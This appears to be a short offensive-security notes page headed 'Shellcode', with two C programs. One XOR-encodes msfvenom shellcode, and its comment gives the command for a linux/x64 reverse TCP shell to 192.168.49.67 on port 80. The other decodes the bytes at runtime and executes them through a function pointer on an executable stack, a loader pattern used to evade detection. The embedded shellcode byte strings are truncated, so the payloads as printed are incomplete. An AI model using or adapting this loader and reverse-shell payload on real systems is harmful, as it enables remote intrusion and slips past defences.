Shellcode

XOR Encoder

simpleXORencoder.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// To compile:
// gcc simpleXORencoder.c -o simpleXORencoder

int main (int argc, char **argv)
{
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48";
        int key = 250;
        int buf_len = (int) sizeof(buf);

        printf("XOR payload (key 0xfa):\n");

        for(int i=0; i<buf_len; i++)
        {
                printf("\\x%02X",buf[i]^key);
        }

        return 0;
}

Loader with XOR Decrypt

simpleLoader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// To compile:
// gcc -o simpleLoader simpleLoader.c -z execstack

int main (int argc, char **argv)
{
// XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa)
unsigned char buf[] = "\x90\xD3";
        int key = 250;
        int buf_len = (int) sizeof(buf);

        // Decode the payload
        for (int i=0; i<buf_len; i++)
        {
                buf[i] = buf[i] ^ key;
        }

        // Cast the shellcode to a function pointer and execute
        int (*ret)() = (int(*)())buf;
        ret();
}

Last updated